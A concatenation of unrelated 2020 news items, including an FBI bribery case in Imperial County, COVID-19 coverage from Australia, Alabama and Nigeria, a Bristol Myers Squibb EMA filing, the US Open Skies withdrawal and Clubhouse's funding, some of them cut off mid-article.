According to the charging documents, the defendants accepted the second installment, $17,500 in cash, during a third meeting on January 30 in a parking lot outside a restaurant in El Centro. Court documents further allege both men also admitted to creating a shell corporation to launder the proceeds of their bribery scheme.

The charging document also alleges that both men lied to the FBI when interviewed by agents at the conclusion of the January 30 meeting. According to court filings, Romero falsely denied being part of any agreement with the undercover agent, and denied that anyone had made any guarantees to the agent. Similarly, Soto falsely denied making any guarantees to the undercover agent and denied receiving any prior payments from the agent.

U.S. Attorney Brewer praised Assistant U.S. Attorney Nicholas Pilchak, DOJ Public Integrity Section trial attorney Joshua Rothstein and FBI agents for working hard to achieve justice in this matter.

The case against Romero and Suarez-Soto is a public corruption investigation being conducted by the FBI and the U.S. Attorneys Office. Any member of the public who has information related to this or any other public corruption matter in Imperial County or San Diego is encouraged to provide information to the FBIs email tip line at https://tips.fbi.gov or to contact their local FBI Field Office. In Imperial County, the FBI can be reached 24 hours a day at 858-320-1800 or 1-877-NO-BRIBE (662-7423).
Australians travelling to the United Kingdom could be exempted from a mandatory 14-day quarantine as the government pushes for special privileges.

The British government is planning a 14-day quarantine for most people arriving in the country in the coming weeks to try to prevent a second peak of the pandemic, with details to be finalised next month.

Heathrow Airport has proposed Britain should set up 'travel bubbles' with low-risk countries exempt from the requirement.

Australians travelling to the United Kingdom could be exempted from a mandatory 14-day quarantine as the government pushes for special privileges

Trade Minister Simon Birmingham (pictured) has suggested Australians should be exempt from the quarantine on the back of promising signs the country has flattened the COVID-19 curve

Trade Minister Simon Birmingham has suggested Australians should be exempt from the quarantine on the back of promising signs the country has flattened the COVID-19 curve.

'Australia has led the world in the successful containment of COVID-19, which clearly means that travellers coming from Australia would pose a low risk to the rest of the world,' he said.

'However, transmission from overseas continues to present a risk to Australia's ongoing suppression of COVID-19 and restrictions on travel in and out of Australia will remain for the foreseeable future.'

Mr Birmingham said Australia has no plans to open its borders to non-citizens, while all returning locals will still have to quarantine for two weeks upon arrival.

Australia has recorded just over 7,000 cases, while the death count rose on Friday to 101 after authorities said a 80-year-old woman died from COVID-19. The unnamed woman contracted the virus in a Sydney hospital.

With fewer than 20 new coronavirus cases each day, Australia has committed to removing most social distancing restrictions by July to revive an ailing economy.

Nearly 600,000 people were forced out of work by the coronavirus restrictions in April.

Fitch Ratings on Friday downgraded its outlook on Australia's coveted 'AAA' rating to 'negative' from 'stable', citing the hit to the country's economy and public finances from the COVID-19 pandemic.

Mr Birmingham said Australia has no plans to open its borders to non-citizens, while all returning locals will still have to quarantine for two weeks upon arrival

The implementation of a three-step plan to remove the remaining restrictions is down to state and territory leaders, who have argued over the pace of reopening state borders and other issues.

Australia's most populous state, New South Wales (NSW) said on Friday it gatherings of 20 people will soon be permitted. Currently, outdoor gathers are limited to ten people or less.

NSW state Premier Gladys Berejiklian said the easing of the restrictions will boost the local economy.

'We want to save jobs. We cannot afford to continue to have the job losses that we've encountered in April,' Berejiklian told reporters in Sydney.
(Newser)  A shooting at a Texas naval air station that wounded a sailor and left the gunman dead is being investigated as "terrorism-related," the FBI said Thursday. The shooting began around 6:15am at Naval Air Station-Corpus Christi. The shooter tried to speed through a gate at the base in a vehicle, but security personnel put up a barrier in time to stop him, US officials said. The man then got out of the car and opened fire, striking and wounding a Navy sailor who is a member of the security force at the base, the AP reports. During the exchange of gunfire, the shooter was killed by security personnel, the officials said. Investigators were working to determine whether a second person of interest was at large in the community.

story continues below

"We have determined that the incident this morning at the Naval Air Station Corpus Christi is terrorism related," FBI Special Agent Leah Greeves said at a news conference. "We are working diligently with our state, local and federal partners on this investigation, which is fluid and evolving." Greeves did not elaborate on a potential motive or specify what led investigators to believe the shooting is related to terrorism. Federal investigators also did not provide information about a possible second person. Neither FBI investigators nor the Navy provided details on the shooter or a possible motive. Last year, a man pleaded guilty to destruction of government property and possession of a stolen firearm for ramming his truck into a barricade at the base. (Phone data showed an al-Qaeda tie in Pensacola shootings.)
Applications based on positive results from pivotal KarMMa study in relapsed and refractory multiple myeloma and QUAZAR-AML-001 study in acute myeloid leukemia

Bristol Myers Squibb (NYSE: BMY) today announced that the European Medicines Agency (EMA) has validated its Marketing Authorization Applications (MAA) for both idecabtagene vicleucel (ide-cel, bb2121) and CC-486. Validation of each application confirms the respective submissions are complete and begins the EMA's centralized review process.

The MAA for ide-cel, the company's investigational B-cell maturation antigen (BCMA)-directed chimeric antigen receptor (CAR) T cell immunotherapy co-developed with bluebird bio, Inc., is for the treatment of adult patients with multiple myeloma who have received at least three prior therapies, including an immunomodulatory agent, a proteasome inhibitor and an anti-CD38 antibody. Ide-cel was granted Accelerated Assessment status by the EMA in March, reducing the maximum timeframe for review of the application to 150 days.

"Europe has one of the highest incidence rates of multiple myeloma, and patients who have relapsed and are refractory to standard treatment regimens are in need of treatment options to improve outcomes,1" said Stanley Frankel, M.D., senior vice president, Cellular Therapy Development, Bristol Myers Squibb. "We will continue to work with the EMA to bring ide-cel to patients in the European Union who are battling this aggressive blood cancer."

The MAA for CC-486 is for the maintenance treatment of adult patients with acute myeloid leukemia (AML), who achieved complete remission (CR) or CR with incomplete blood count recovery (CRi), following induction therapy with or without consolidation treatment, and who are not candidates for, or who choose not to proceed to, hematopoietic stem cell transplantation.

"For patients with AML, maintaining remission remains an extremely important factor in the treatment of their disease," said Noah Berkowitz, M.D., Ph.D., senior vice president, Global Development, Hematology, Bristol Myers Squibb. "This validation is an important step toward making CC-486 available to eligible patients in the European Union, who are in need of treatment options with the potential to decrease their risk of relapse and extend their overall survival."

Results supporting the ide-cel application came from the pivotal Phase 2 KarMMa study, which evaluated the efficacy and safety of ide-cel in heavily pre-treated patients with relapsed and refractory multiple myeloma. The study met its primary endpoint of overall response rate and key secondary endpoint of complete response rate. The safety results were consistent with previously reported data for ide-cel.

The CC-486 application is based on the efficacy and safety results of the pivotal Phase 3 QUAZAR AML-001 study, which met the primary endpoint of improved overall survival for patients receiving AML maintenance treatment with CC-486 versus placebo.

Ide-cel and CC-486 are investigational therapies that are not approved for any indication in any geography.

About Ide-cel

Ide-cel is a B-cell maturation antigen (BCMA)-directed genetically modified autologous chimeric antigen receptor (CAR) T cell immunotherapy. The ide-cel CAR is comprised of a murine extracellular single-chain variable fragment (scFv) specific for recognizing BCMA, attached to a human CD8 hinge and transmembrane domain fused to the T cell cytoplasmic signaling domains of CD137 4-1BB and CD3-? chain, in tandem. Ide-cel recognizes and binds to BCMA on the surface of multiple myeloma cells leading to CAR T cell proliferation, cytokine secretion, and subsequent cytolytic killing of BCMA-expressing cells.

In addition to the pivotal KarMMa trial evaluating ide-cel in patients with relapsed and refractory multiple myeloma, Bristol Myers Squibb and bluebird bio's broad clinical development program for ide-cel includes clinical studies (KarMMa-2, KarMMa-3, KarMMa-4) in earlier lines of treatment for patients with multiple myeloma, including newly diagnosed multiple myeloma. For more information visit clinicaltrials.gov.

Ide-cel is being developed as part of a Co-Development, Co-Promotion and Profit Share Agreement between Bristol Myers Squibb and bluebird bio. Ide-cel was granted accelerated assessment by the European Medicines Agency (EMA) on March 26, 2020.

About CC-486

CC-486 is an oral hypomethylating agent that incorporates into DNA and RNA. The main mechanism of action is thought to be hypomethylation of DNA, as well as direct cytotoxicity to abnormal hematopoietic cells in the bone marrow. Hypomethylation may restore normal function to genes that are critical for differentiation and proliferation. Oral dosing of CC-486 allows for extended drug exposure during each treatment cycle to prolong therapeutic activity.2

About KarMMa3

KarMMa (NCT03361748) is a pivotal, open-label, single-arm, multicenter, multinational, Phase 2 study evaluating the efficacy and safety of ide-cel in adults with relapsed and refractory multiple myeloma in North America and Europe. The primary endpoint of the study is overall response rate as assessed by an independent review committee (IRC) according to the International Myeloma Working Group (IMWG) criteria. Complete response rate is a key secondary endpoint. Other efficacy endpoints include time to response, duration of response, progression-free survival, overall survival, minimal residual disease evaluated by Next-Generation Sequencing (NGS) assay and safety. The study enrolled 140 patients, of whom 128 received ide-cel across the target dose levels of 150-450 x 106 CAR+ T cells after receiving lymphodepleting chemotherapy. All enrolled patients had received at least three prior treatment regimens, including an immunomodulatory agent, a proteasome inhibitor and an anti-CD38 antibody, and were refractory to their last regimen, defined as progression during or within 60 days of their last therapy.

About QUAZAR AML-001

QUAZAR AML-001 is a Phase 3, international, randomized, double-blind, placebo-controlled study of CC-486 as AML maintenance therapy in patients who achieved first complete remission (CR) or complete remission with incomplete blood count recovery (CRi) following intensive induction chemotherapy (with or without consolidation), who were ineligible for hematopoietic stem cell transplant. The primary endpoint of the study was overall survival. Key secondary endpoints included relapse-free survival (RFS), safety and tolerability, healthcare resource utilization and patient-reported outcomes per the FACIT-Fatigue Scale and EQ-5D questionnaire. The study enrolled 472 patients, randomized 1:1 to receive initially either 300 mg of CC-486 or placebo orally, once daily, for 14 days of a 28-day cycle, plus best supportive care. Patients remained on treatment until unacceptable toxicity or disease progression.

About Multiple Myeloma

Multiple myeloma is a cancer of plasma cells.4 The cause of multiple myeloma is not known and currently there is no cure; however, there are a number of treatment options available that can lead to response.4 Patients who have already been treated with some available therapies but continue to have progression of their disease have "relapsed" and "refractory" multiple myeloma, meaning their cancer has returned after they have received initial treatments. Patients with relapsed and refractory multiple myeloma, that have been exposed to all three major drug classes, have fewer treatment options and poor outcomes, including shorter response durations and lower overall survival.5 In Europe, over 48,000 people were diagnosed with multiple myeloma in 2018.6

About AML

Acute myeloid leukemia (AML) is the most common type of acute leukemia. AML starts in the bone marrow but moves quickly into the blood. Unlike in normal blood cell development, in AML, the rapid buildup of abnormal white blood cells in the bone marrow may interfere with the production of normal blood cells, resulting in decreased healthy white blood cells, red blood cells and platelets. AML is a complex, diverse disease associated with multiple genetic mutations and usually worsens quickly and can lead to death if not treated. AML has a high relapse rate, meaning following patients' initial response to treatment, their disease is likely to return, signifying an unmet need to prolong remission. There are approximately 40,000 people with AML in Europe, and this number has increased in recent years likely due to the aging population.7

Bristol Myers Squibb: Advancing Cancer Research

At Bristol Myers Squibb, patients are at the center of everything we do. The goal of our cancer research is to increase patients' quality of life, long-term survival and make cure a possibility. We harness our deep scientific experience, cutting-edge technologies and discovery platforms to discover, develop and deliver novel treatments for patients.

Building upon our transformative work and legacy in hematology and Immuno-Oncology that has changed survival expectations for many cancers, our researchers are advancing a deep and diverse pipeline across multiple modalities. In the field of immune cell therapy, this includes registrational CAR T cell agents for numerous diseases, and a growing early-stage pipeline that expands cell and gene therapy targets, and technologies. We are developing cancer treatments directed at key biological pathways using our protein homeostasis platform, a research capability that has been the basis of our approved therapies for multiple myeloma and several promising compounds in early- to mid-stage development. Our scientists are targeting different immune system pathways to address interactions between tumors, the microenvironment and the immune system to further expand upon the progress we have made and help more patients respond to treatment. Combining these approaches is key to delivering potential new options for the treatment of cancer and addressing the growing issue of resistance to immunotherapy. We source innovation internally, and in collaboration with academia, government, advocacy groups and biotechnology companies, to help make the promise of transformational medicines a reality for patients.

About Bristol Myers Squibb

Bristol Myers Squibb is a global biopharmaceutical company whose mission is to discover, develop and deliver innovative medicines that help patients prevail over serious diseases. For more information about Bristol Myers Squibb, visit us at BMS.com or follow us on LinkedIn, Twitter, YouTube, Facebook and Instagram.

Celgene and Juno Therapeutics are wholly owned subsidiaries of Bristol-Myers Squibb Company. In certain countries outside the U.S., due to local laws, Celgene and Juno Therapeutics are referred to as, Celgene, a Bristol Myers Squibb company and Juno Therapeutics, a Bristol Myers Squibb company.

Bristol Myers Squibb Cautionary Statement Regarding Forward-Looking Statements

This press release contains "forward-looking statements" within the meaning of the Private Securities Litigation Reform Act of 1995 regarding, among other things, the research, development and commercialization of pharmaceutical products. All statements that are not statements of historical facts are, or may be deemed to be, forward-looking statements. Such forward-looking statements are based on historical performance and current expectations and projections about our future financial results, goals, plans and objectives and involve inherent risks, assumptions and uncertainties, including internal or external factors that could delay, divert or change any of them in the next several years, that are difficult to predict, may be beyond our control and could cause our future financial results, goals, plans and objectives to differ materially from those expressed in, or implied by, the statements. These risks, assumptions, uncertainties and other factors include, among others, the possibility of unfavorable results from additional studies involving ide-cel, or bb2121, or CC-486, that such product candidates may not receive regulatory approval for the indications described in this release in the currently anticipated timeline or at all and, if approved, whether such product candidates for such indications described in this release will be commercially successful. No forward-looking statement can be guaranteed. Forward-looking statements in this press release should be evaluated together with the many risks and uncertainties that affect Bristol Myers Squibb's business and market, particularly those identified in the cautionary statement and risk factors discussion in Bristol Myers Squibb's Annual Report on Form 10-K for the year ended December 31, 2019, as updated by our subsequent Quarterly Reports on Form 10-Q, Current Reports on Form 8-K and other filings with the Securities and Exchange Commission. The forward-looking statements included in this document are made only as of the date of this document and except as otherwise required by applicable law, Bristol Myers Squibb undertakes no obligation to publicly update or revise any forward-looking statement, whether as a result of new information, future events, changed circumstances or otherwise.

References

Cowan AJ, Allen C, Barac A, et al. Global Burden of Multiple Myeloma: A Systematic Analysis for the Global Burden of Disease Study 2016. JAMA Oncol. 2018;4(9):1221-1227. doi:10.1001/jamaoncol.2018.2128 Garcia-Manero et al. Phase I study of oral azacitidine in myelodysplastic syndromes, chronic myelomonocytic leukemia, and acute myeloid leukemia. J Clin Oncol. 2011;29(18):2521-7. ClinicalTrials.gov. Efficacy and safety study of bb2121 in subjects with relapsed and refractory multiple myeloma (KarMMa). Available at: https://clinicaltrials.gov/ct2/show/NCT03361748. Accessed May 2020. American Cancer Society. What is Multiple Myeloma? Available at: https://www.cancer.org/cancer/multiple-myeloma/about/what-is-multiple-myeloma.html. Accessed May 2020. Lonial, S., Anderson, K.C., Association of response endpoints with survival outcomes in multiple myeloma. Leukemia. 2014; 28(2): 258-268. WHO. International Agency for Research on Cancer. Estimated number of new cases in 2018, Europe, both sexes, all ages. Available at: https://gco.iarc.fr/today/online-analysis-table?v=2018&mode=cancer&mode_population=continents&population=900&populations=900&key=asr&sex=0&cancer=39&type=0&statistic=5&prevalence=0&population_group=0&ages_group%5B%5D=0&ages_group%5B%5D=17&group_cancer=1&include_nmsc=1&include_nmsc_other=1collapse-by_country. Accessed: May 2020. Heuser et al. Acute myeloid leukaemia in adult patients: ESMO Clinical Practice Guidelines for diagnosis, treatment and follow-up. ESMO Annals of Oncology. 2020; 31(0): 0-0.

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Kimmy Tillery, a hairdresser from Tuscaloosa, Alabama, at a protest to reopen the economy outside the capitol, in Montgomery, on April 21.

Kim Chandler/AP Images

Montgomery, Alabama, Mayor Steven Reed says Covid-19 cases are surging in his city with hospitals near their breaking point.

Reed told Insider in a Thursday interview that the state capitol was "down to just a handful of ICU beds" and blamed the "dire" situation on the governor's decision to reopen the state even as cases continue to mount.

Reed warns that his state may not be able to manage a predicted second wave of infections without more help from the federal government.

Visit Business Insider's homepage for more stories.

Montgomery, Alabama, Mayor Steven Reed is sounding the alarm as his city's hospitals near their breaking point and the state's conservative governor rapidly loosens social-distancing policies and reopens businesses.

Reed told Insider in a Thursday interview that the state capitol was "down to just a handful of ICU beds" as Covid-19 patients flood the city's hospitals, which have begun sending overflow acute-care patients to Birmingham.

"It's pretty dire," Reed, a first-term Democrat, said. "More people are coming in [to the hospitals] and they're coming in in worse shape."

At a press conference on Wednesday, Reed warned of a hospital-bed shortage, saying his city's healthcare system had been "maxed out." He blamed the surge in new infections on the statewide loosening of social-distancing policies, and said his city's hospitals were seeing a significant influx of patients from neighboring rural areas, where healthcare systems are weaker.

It all comes as reports emerged that the White House considers Montgomery one of the country's top virus hotspots. A research team at Philadelphia's Children's Hospital recently said that the entire state of Alabama could see a resurgence of the virus over the next month as reopenings continue.

A rapid reopening

Alabama's Republican governor, Kay Ivey, ignored federal guidelines earlier this month when she ended her stay-home order after just four weeks.

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On May 11, salons and gyms reopened and restaurants resumed serving customers in their dining rooms. Ivey is quickly loosening other restrictions, including allowing groups of all sizes to gather, as long as people remain six feet apart. Theaters, music venues, daycare, and summer camps are all permitted to reopen starting on Friday, and schools are set to reopen next month.

But Reed thinks the state is reopening too quickly.

"I would have preferred a slower reopening, a more cautious reopening," the mayor told Insider.

But, he added, "We're here now, and we're going to have to manage the circumstances."

He said the business community and others influencing Ivey's decision have been impatient to get back to normal and don't want the government telling them what to do.

Ivey conceded that Alabama's infection rate was "not as good as we would hope" during a Thursday press conference announcing the reopenings. But she argued: "We cannot sustain a delayed way of life as we search for a vaccine. It's not realistic to believe we're going to keep everyone totally isolated from each other."

Montgomery Mayor Steven Reed.

Screenshot/City of Montgomery

The mayor said he and other state and local leaders should be ready to issue a new stay-home order if the situation continues to deteriorate or there's a new wave of infections down the line. But he said that without help from the federal government on testing and contact tracing, localities may not be able to fight off a resurgence of the virus.

"I'm not sure cities and states, much less small businesses, are going to be able to adequately deal with a second wave, should one come at another point this year due to an outbreak or another surge in cases, if there's not a different approach to this virus," he told Insider.

Reed says many in his city and state are "letting down their guard" and beginning to go about life as normal as the state reopens. He's urging his constituents to stay home as much as they can and is considering implementing new restrictions in the city.

As of Thursday, Alabama had 13,288 confirmed COVID-19 cases and 528 deaths, according to data published by Johns Hopkins University. Montgomery County has the second-highest case load of any county in the state.

A call for federal help

Reed, who is Montgomery's first African-American mayor, said he wants the country to recognize that black and Latino communities were suffering disproportionately from the public-health and economic crises because of systemic inequality.

"The nation has to acknowledge the racial disparities don't exist because people don't want to do their part to narrow that gap," he said.

And more broadly, working-class and lower-income Alabamians don't have the resources to ride out an extended crisis.

As a result of the pandemic, the city of Montgomery is facing a 20% to 25% revenue shortfall this year, which will require the government to cut funding for a range of social services.

Reed wants the federal government to send funding for cities and states  something congressional Republicans have pushed back on. The mayor argued that, without federal support, already underfunded local governments will fail their citizens and inequality will deepen.

"How are we going to address education in this community? How are we going to bridge the digital divide? How are we going to make sure that those who are already on the margins don't fall of a cliff?" he said. "I think national leaders have to understand that it's going to be very vital that they make the decision to reinvest in this country."

Read the original article on Business Insider
Source: Xinhua| 2020-05-22 21:43:41|Editor: huaxia

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LAGOS, May 22 (Xinhua) -- The Nigerian government on Friday said it will continue to scale up testing capacity for the COVID-19 pandemic as the country reported 339 new confirmed cases, bringing the total to 7,016 and the death toll to 211.

Speaking against the backdrop of the country's fight against COVID-19 pandemic, Chikwe Ihekweazu, head of the Nigeria Center for Disease Control (NCDC) said testing is critical to the national response.

"Our goal is to limit transmission," the NCDC boss told reporters in Abuja, Nigeria's capital, noting that the health agency would continue to build up its testing capacity across the country.

He stressed the need for Nigerians to support the public health response to COVID-19 by taking responsibility to limit transmission.

Ihekweazu said Nigeria is implementing a testing strategy best suited for the country's realities and needs, and the frontline laboratory scientists were doing their best under the critical circumstances.

He called on state governments to intensify efforts to ramp up sample collection and testing for COVID-19.

Meanwhile, Boss Mustapha, chairman of Presidential Task Force (PTF) on COVID-19 has called on state governors to exercise caution in relaxing the lockdown directives in their respective states.

The decision poses the risk of exposing more people to the virus, he said.

Despite the increasing number of COVID-19 cases in the country, some states are relaxing the lockdown measures put in place to limit the spread of the virus.

Nigerian President Muhammadu Buhari earlier announced a ban on large social and religious gatherings in Abuja, Lagos, Ogun, and Kano. The president also ordered a nationwide inter-state travel ban.

State governments also imposed lockdown in their respective domains. Enditem
BRETHREN  The Spirit of the Woods Conservation Club is providing a way for people to get outside, enjoy nature and get a little exercise.

The SWCC's property, situated on the banks of Bear Creek, offers hiking trails for all levels of activity and even includes Mickeys Trail, a concrete hiking trail for those with mobility issues. With many recreational activities off limits due to measures to limit the spread of the coronavirus, the SWCC is offering a safe place to get outside for physical activity and enjoy the northern Michigan woods while following social distancing guidelines.

The club is providing guided hikes led by some of its club members. These hikes are available to small family groups who share living arrangements. The guide would maintain an appropriate distance from those enjoying the tour.

"So far, we've only had a couple of takers on it  a couple of families. If they call up, we can schedule a time and we'll give them a guided tour of the trails  as much of that as they want," said conservation club president Gene Lagerquist. "We've got a couple miles of trails there. We're trying to give people who have not been there the experience of a tour so they know where they're going when they come back on their own.

"We're doing so with safety in mind. It will be guided, but there'll be separation from the guide," he continued. "We're expecting family units of three, four or five people. Of course, they don't have to be guided, but when we begin and when we end, we're going to ask for them to wear a mask during that first orientation."

Families interested in a guided hike can call Lagerquist at (231) 299-7053, Tim Joseph at (231) 477-5381 or Rob McMurray at (248) 930-2817.

The SWCC will mark its 81st anniversary in 2020. The clubs 43.5 acres is filled with natural beauty, with Bear Creek winding throughout. It has been maintained as a nature preserve, open to the public without charge since 1939. The landscape on the club property makes for an interesting and beautiful place to take a hike.

The club has had to cancel some springtime events due to the coronavirus pandemic, and Lagerquist fears some summer events may get the ax, too.

"We've had to cancel a spring fun day. We just invite school-aged children out for it, but we had to cancel that. Last year, we had almost 100 participants at it," he said. "We had 14 classes throughout Manistee elementary schools and high schools come out for day tours last year. Of course, we had to cancel all those because there's no school.

"We still have our summer field camps on the schedule, but the way it's looking, I'm suspecting that we will be canceling them, but we have not reached an official word on that yet. We have a meeting in another week," Lagerquist continued. "We were hoping that things might loosen up a little bit, but it doesn't look that way."

The SWCC is located at 12555 Coates Highway in Brethren. More information can be found at www.facebook.com/SpiritoftheWoodsConservationClub.
For most of his 30-year career, Osman said there were about 50,000 flood insurance policies in Illinois. Now, that number has dropped to about 38,000. Osman said he is stumped by the reason for the drop, but he suspects it may be a combination of elderly homeowners in floodplains who have paid off their mortgage and did not continue to pay for the protection after their requirement expired, and lower-income owners who cannot afford policies and have slipped past the eyes of lenders and regulators.
Infosys on Friday said a class action lawsuit filed against the company and some of its employees in the US district court has been dismissed.

The move comes after whistleblower complaints alleging certain unethical practices by the top management emerged in October last year.

Infosys had disclosed that it had received whistleblower complaints alleging certain unethical practices by the top management. US market regulator Securities and Exchange Commission (SEC) had also investigated the matter.

"The complaint, which was filed in the Eastern District of New York, was brought on behalf of a class consisting of persons or entities who purchased the company's publicly traded securities between July 7, 2018 and October 20, 2019, and alleged claims for violations of the US federal securities laws," Infosys said in a regulatory filing on Friday.

It further said that on May 21, 2020, the plaintiff voluntarily dismissed the lawsuit without prejudice.

After receiving the whistleblower complaint, Infosys had started an internal probe into the matter and roped in external investigators.

In January this year, Infosys had said its audit committee had found no evidence of financial impropriety or executive misconduct, virtually giving a clean chit to CEO Salil Parekh and CFO Nilanjan Roy who were accused by anonymous whistleblowers of rigging the company's balance sheet.

In March, Infosys had said the SEC had concluded its investigation on the whistleblower allegations, and that it does not anticipate any further action by the regulator.

The Bengaluru-based company had said it has responded to all the inquiries received from Indian regulatory authorities and that it will continue to cooperate with the authorities if there are any additional requests for information.
Joe Biden, the presumptive Democratic presidential nominee, had a testy exchange with a prominent black radio personality on Friday over his support among black voters and his potential running mate.

Charlamagne Tha God pressed Biden on reports that he is considering Minnesota Sen. Amy Klobuchar, who is white, to be vice president and told him black voters saved your political life in the primaries" and have things they want from you.

I'm not acknowledging anybody who is being considered, Biden said.

But I guarantee you there are multiple black women being considered. Multiple.

A Biden aide then sought to end the interview, prompting the host to say, you can't do that to black media.

Biden responded, I do that to black media and white media and said his wife needed to use the television studio.

He then added: If you've got a problem figuring out whether you're for me or for Trump, then you ain't black.

The host countered that conversations about Biden's running mate aren't about Trump, whom many black voters view as racist.

Take a look at my record, Biden said, citing his work as senator to extend the Voting Rights Act of 1965.

The NAACP has endorsed me every time I've run. Come on, take a look at my record.

Biden has emphasized his relationship with black voters throughout his campaign, noting throughout the primary campaign his dependence on black voters in his Delaware Senate races and his partnership as former President Barack Obama's top lieutenant.

Black voters resurrected Biden's campaign with a second place finish in the Nevada caucuses and a resounding win in the South Carolina primary after he'd started with embarrassing finishes in overwhelmingly white Iowa and New Hampshire.

Older black voters especially sided with Biden over a wide Democratic field that included several black candidates, including Kamala Harris.

The California senator is widely believed to be a contender for the vice-presidential nomination.

Other prominent black women named include Georgia voting rights advocate Stacey Abrams, Atlanta Mayor Keisha Lance Bottoms, Florida Rep. Val Demings, Ohio Rep. Marcia Fudge and Susan Rice, Obama's former US ambassador to the UN.

Separately on Friday, Biden used a CNBC interview to condemn a proposal from the Chinese government to crack down on semi-autonomous Hong Kong, and he suggested that Trump isn't being vocal enough in his opposition.

Biden said he'd be at the UN calling out Beijing for an overwhelming violation not only of an agreement but on human rights.

Communist leaders in Beijing proposed national security legislation that could limit opposition activity in Hong Kong, a former British colony that enjoys more western-style democracy than the rest of China.

The move prompted bipartisan calls on Capitol Hill for sanctions against Beijing.

Trump did not immediately join that response, but Secretary of State Mike Pompeo issued a statement condemning China's effort and calling it a death knell for the high degree of autonomy that Beijing had promised the territory.

Biden framed Trump's response as silence that is devastating for citizens of non-democratic nations around the world.

All it does is encourage thugs and dictators, Biden said.

Look at who he embraces and look at who he pokes in the eye.

Trump has stepped carefully around Hong Kong-Beijing relations during his presidency, expressing agreement with the bipartisan US support for Hong Kong, but also praising Chinese President Xi Jinping amid ongoing trade negotiations.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
After it was announced Wednesday, May 20, that the Tittabawassee River had crested at 35 feet, residents and business owners in the affected area began to assess the damage, including Dow.

The chemical corporation's focus has shifted into a clean-up and recovery mode, it was announced Thursday.

"We have begun implementing site recovery plans and will continue to advance site assessments as the situation safely allows," Dow stated. "This plan includes an inspection of all facilities and remediation assets along the Tittabawassee River as flood waters recede."

There has been no reported product releases and no reported employee injuries.

Yesterday, it was confirmed there were flood waters co-mingling with an on-site brine pond used for storm water and brine system and groundwater remediation. The material from the brine pond does not create any risk to residents or the environment.

"We continue to engage with site tenants and Midland County officials to ensure the safety and security of our employees, community and the environment," Dow stated. "Only essential staff remain on-site to monitor the situation and assess potential impact. All other employees and supporting contractors will be contacted by their leaders for approval to return to the site over the next few days."

Dow Michigan Operations has Dow Performance Silicones production assets on site, as well as research and development and I-park infrastructure assets. The silicones assets are located in an area that has not been impacted by the flood waters. However, they do depend on infrastructure for operations provided by the industrial park.

Dow said while they are in the early phases of recovery, they don't currently expect the Midland silicones assets to be offline for an extended period of time. Business continuity plans are in place to ensure customer needs are met.
US to Exit International Military Surveillance Treaty

By Ken Bredemeier May 21, 2020

President Donald Trump said Thursday that he was pulling the United States out of the 18-year-old international Open Skies Treaty allowing surveillance flights over other countries because Russia has been violating it.

The U.S. began notifying the other signatories to the accord that it was giving the required six months' notice to leave.

Trump accused Moscow of ignoring terms of the treaty. "I think we have a very good relationship with Russia," he told reporters at the White House. "But Russia didn't adhere to the treaty. So, until they adhere, we will pull out."

The president did note there was a possibility, though, that some new agreement might be reached at a future date.

"There's a very good chance we'll make a new agreement or do something to put that agreement back together," he said. "But whenever there's an agreement that another party doesn't agree to  you know, we have many of those agreements around the world, where it's a two-party agreement but they don't adhere to it and we do  when we have things like that, we pull out also. That's why, with the arms treaties, if you look at the arms treaties, we're probably going to make a deal with Russia on an arms treaty. And China will be, maybe, included in that. We'll see what happens.

"So I think what's going to happen is we're going to pull out, and they're going to come back and want to make a deal. We've had a very good relationship lately with Russia. And you can see that with respect to oil and what's happening with oil," he said.

US assertions

The treaty has allowed 35 countries to conduct surveillance flights over each other's territory to look at military installations, an effort aimed at international peacekeeping.

But the U.S. contends that Moscow has been violating the treaty by blocking it from conducting flights over the Baltic Sea city of Kaliningrad and Russia's southern border near Georgia, both of which are permitted by the agreement.

U.S. Defense Secretary Mark Esper told the Senate Armed Services Committee in March that Russia has been "cheating for many years."

Russia has denied violating the treaty.

The Open Skies withdrawal is Trump's latest move during his 3-year presidency to remove the U.S. from international agreements enacted by previous presidents that he considers unfair to American interests.

Last year, Washington withdrew from the Intermediate-Range Nuclear Forces Treaty with Russia, and earlier it abandoned the international Paris climate control accord, a trade treaty with Pacific Rim nations, and a deal with Iran to restrain its development of nuclear weapons.

The concept of the Open Skies treaty was first advanced in the decade after the end of World War II by President Dwight Eisenhower. The Soviet Union balked at the idea at the time, but the U.S. again pushed for a pact in 1989 under President George H.W. Bush. It was finally adopted by the required 20 countries in January 2002.

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It was an inspirational call to arms. But one of the first things Andreessen and other Silicon Valley venture capitalists have since rushed to help build was something else entirely: an app called Clubhouse.

"Building is how we reboot the American dream," Andreessen wrote in his post, which he titled Time to Build.

He proposed a solution that fit squarely into Silicon Valley's ethos of ingenuity. It was time to build things, he said, like universities, hospitals, skyscrapers, zero-emission nuclear reactors, delivery drones, hyperloops and even Elon Musk's "alien dreadnoughts."

Marc Andreessen, a Silicon Valley investor, published a rallying cry last month that quickly ricocheted around the tech industry. In it, he blamed America's dismal response to the coronavirus on "smug complacency, this satisfaction with the status quo and the unwillingness to build."

Clubhouse is a social media app where venture capitalists have gathered to mingle with each other while they are quarantined in their homes. The app is, for now, invite-only and buzzy: seemingly everyone who has been allowed to join the early test version, from celebrities like MC Hammer to activists like DeRay Mckesson, has tweeted about it. And it has recently been one of the hottest deals on Sand Hill Road, Silicon Valley's venture capital nexus.

Last week, Andreessen's venture firm, Andreessen Horowitz, won the deal to invest in Clubhouse. Andreessen Horowitz agreed to put in $10 million, plus pay another $2 million to buy shares from Clubhouse's existing shareholders, said a person with knowledge of the funding, who declined to be named because the details were confidential.

The financing valued Clubhouse, which started this year and has two employees, at nearly $100 million. The deal was earlier reported by Forbes.

Andrew Chen, a partner at Andreessen Horowitz, said on Twitter that he interpreted Andreessen's "Time to Build" as building more of everything, including "new gaming cos, social apps, fitness and more!"

The rush to invest in Clubhouse reflects the way Silicon Valley works. While cutting-edge technology and a change-the-world mission are paramount, much of the big money in recent decades has ultimately been made from addictive social media apps. So when it comes to building new things, Silicon Valley often turns to what it knows  and that is more social networks.


Now that the national lockdown has been eased to a large extent, Covid-19 cases are predicted to increase rapidly in the coming days. Our government needs to do everything in its power to prepare hospitals, medical equipment and healthcare workers, as well as to scale up testing, tracing and isolation measures, to face this imminent deluge. At such a time, the nationalisation of the private healthcare sector in India is a possibility that must be seriously considered.

At the global level, this would hardly be an unprecedented move. We already have examples of countries like

Demands for more such measures are gaining strength around the world. Healthcare workers, who are at the frontlines of this crisis, have called for an end to profiteering in healthcare. For example, recently on International Nurses Day, the Public Services International, which is a global union federation of workers in public services,

